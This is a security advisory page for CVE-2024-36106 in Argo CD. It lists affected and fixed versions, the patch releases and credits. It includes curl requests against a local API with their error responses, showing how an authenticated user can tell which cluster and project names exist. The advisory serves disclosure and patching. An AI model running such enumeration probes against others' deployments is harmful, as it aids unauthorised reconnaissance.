CVE-2024-36106: Argo-cd authenticated users can enumerate clusters by name
Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages: It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.
Published Jun 6, 2024
Affected packages
github.com/argoproj/argo-cd
- Ecosystem
- Go
- Affected
- >= 0.11.0, < 2.9.17
- Fixed in
- 2.9.17
- Check
go list -m github.com/argoproj/argo-cd
github.com/argoproj/argo-cd
- Ecosystem
- Go
- Affected
- >= 2.10.0, < 2.10.12
- Fixed in
- 2.10.12
- Check
go list -m github.com/argoproj/argo-cd
github.com/argoproj/argo-cd
- Ecosystem
- Go
- Affected
- >= 2.11.0, < 2.11.3
- Fixed in
- 2.11.3
- Check
go list -m github.com/argoproj/argo-cd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization:
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.
curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
For more information
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Credited to crenshaw-dev, pasha-codefresh.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-45738
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
high7.3No fixMay 19, 2026CVE-2025-59531
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
high7.5No fixSep 30, 2025CVE-2025-59537
argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload
high7.5No fixSep 30, 2025CVE-2025-47933
Argo CD allows cross-site scripting on repositories page
critical9.0No fixMay 28, 2025CVE-2025-23216
Argo CD does not scrub secret values from patch errors
medium6.8No fixJan 30, 2025CVE-2024-40634
Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint
high7.5No fixJul 22, 2024
